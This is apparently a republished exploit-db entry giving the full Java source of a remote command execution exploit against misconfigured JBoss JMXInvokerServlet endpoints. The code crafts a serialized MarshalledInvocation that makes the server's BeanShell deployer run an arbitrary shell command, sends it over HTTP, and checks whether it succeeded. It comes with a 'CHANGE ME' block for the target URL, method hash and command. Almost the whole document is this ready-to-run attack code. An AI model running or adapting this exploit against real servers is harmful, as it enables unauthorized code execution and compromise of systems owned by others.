JBoss JMXInvokerServlet JMXInvoker 0.3 – Remote Command Execution

  • 作者: ikki
    日期: 2015-03-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/36553/
  • /*
     * JBoss JMXInvokerServlet Remote Command Execution
     * JMXInvoker.java v0.3 - Luca Carettoni @_ikki
     *
     * This code exploits a common misconfiguration in JBoss Application Server (4.x, 5.x, ...).
     * Whenever the JMX Invoker is exposed with the default configuration, a malicious "MarshalledInvocation"
     * serialized Java object allows to execute arbitrary code. This exploit works even if the "Web-Console"
     * and the "JMX Console" are protected or disabled.
     *
     * [FAQ]
     *
     * Q: Is my target vulnerable?
     * A: If http://<target>:8080/invoker/JMXInvokerServlet exists, it's likely exploitable
     *
     * Q: How to fix it?
     * A: Enable authentication in "jmx-invoker-service.xml"
     *
     * Q: Is this exploit version-dependent?
     * A: Unfortunately, yes. An hash value is used to properly invoke a method. 
     *At least comparing version 4.x and 5.x, these hashes are different.
     *
     * Q: How to compile and launch it?
     * A: javac -cp ./libs/jboss.jar:./libs/jbossall-client.jar JMXInvoker.java
     *java-cp .:./libs/jboss.jar:./libs/jbossall-client.jar JMXInvoker
     *Yes, it's a Java exploit. I can already see some of you complaining....
     */
    
    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Array;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    import java.net.ConnectException;
    import java.net.HttpURLConnection;
    import java.net.URL;
    import javax.management.MalformedObjectNameException;
    import javax.management.ObjectName;
    import org.jboss.invocation.MarshalledInvocation; //within jboss.jar (look into the original JBoss installation dir)
    
    public class JMXInvokerServlet {
    
    //---------> CHANGE ME <---------
    static final int hash = 647347722; //Weaponized against JBoss 4.0.3SP1
    static final String url = "http://127.0.0.1:8080/invoker/JMXInvokerServlet";
    static final String cmd = "touch /tmp/exectest";
    //-------------------------------
    
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, MalformedObjectNameException {
    
    System.out.println("\n--[ JBoss JMXInvokerServlet Remote Command Execution ]");
    
    //Create a malicious Java serialized object
    MarshalledInvocation payload = new MarshalledInvocation();
    payload.setObjectName(new Integer(hash));
    
    //Executes the MBean invoke operation
    Class<?> c = Class.forName("javax.management.MBeanServerConnection");
    Method method = c.getDeclaredMethod("invoke", javax.management.ObjectName.class, java.lang.String.class, java.lang.Object[].class, java.lang.String[].class);
    payload.setMethod(method);
    
    //Define MBean's name, operation and pars
    Object myObj[] = new Object[4];
    //MBean object name
    myObj[0] = new ObjectName("jboss.deployer:service=BSHDeployer");
    //Operation name
    myObj[1] = new String("createScriptDeployment");
    //Actual parameters
    myObj[2] = new String[]{"Runtime.getRuntime().exec(\"" + cmd + "\");", "Script Name"};
    //Operation signature
    myObj[3] = new String[]{"java.lang.String", "java.lang.String"};
    
    payload.setArguments(myObj);
    System.out.println("\n--[*] MarshalledInvocation object created");
    //For debugging - visualize the raw object
    //System.out.println(dump(payload));
    
    //Serialize the object
    try {
    //Send the payload
    URL server = new URL(url);
    HttpURLConnection conn = (HttpURLConnection) server.openConnection();
    conn.setRequestMethod("POST");
    conn.setDoOutput(true);
    conn.setDoInput(true);
    conn.setUseCaches(false);
    conn.setRequestProperty("Accept", "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2");
    conn.setRequestProperty("Connection", "keep-alive");
    conn.setRequestProperty("User-Agent", "Java/1.6.0_06");
    conn.setRequestProperty("Content-Type", "application/octet-stream");
    conn.setRequestProperty("Accept-Encoding", "x-gzip,x-deflate,gzip,deflate");
    conn.setRequestProperty("ContentType", "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation");
    
    ObjectOutputStream wr = new ObjectOutputStream(conn.getOutputStream());
    wr.writeObject(payload);
    System.out.println("\n--[*] MarshalledInvocation object serialized");
    System.out.println("\n--[*] Sending payload...");
    wr.flush();
    wr.close();
    
    //Get the response
    InputStream is = conn.getInputStream();
    BufferedReader rd = new BufferedReader(new InputStreamReader(is));
    String line;
    StringBuffer response = new StringBuffer();
    while ((line = rd.readLine()) != null) {
    response.append(line);
    }
    rd.close();
    
    if (response.indexOf("Script Name") != -1) {
    System.out.println("\n--[*] \"" + cmd + "\" successfully executed");
    } else {
    System.out.println("\n--[!] An invocation error occured...");
    }
    } catch (ConnectException cex) {
    System.out.println("\n--[!] A connection error occured...");
    } catch (IOException ex) {
    ex.printStackTrace();
    }
    }
    
    /*
     * Raw dump of generic Java Objects
     */
    static String dump(Object o) {
    StringBuffer buffer = new StringBuffer();
    Class oClass = o.getClass();
    
    if (oClass.isArray()) {
    buffer.append("[");
    
    for (int i = 0; i < Array.getLength(o); i++) {
    if (i > 0) {
    buffer.append(",\n");
    }
    Object value = Array.get(o, i);
    buffer.append(value.getClass().isArray() ? dump(value) : value);
    }
    buffer.append("]");
    } else {
    buffer.append("{");
    while (oClass != null) {
    Field[] fields = oClass.getDeclaredFields();
    for (int i = 0; i
    < fields.length; i++) {
    if (buffer.length() > 1) {
    buffer.append(",\n");
    }
    fields[i].setAccessible(true);
    buffer.append(fields[i].getName());
    buffer.append("=");
    try {
    Object value = fields[i].get(o);
    if (value != null) {
    buffer.append(value.getClass().isArray() ? dump(value) : value);
    }
    } catch (IllegalAccessException e) {
    }
    }
    oClass = oClass.getSuperclass();
    }
    buffer.append("}");
    }
    return buffer.toString();
    }
    }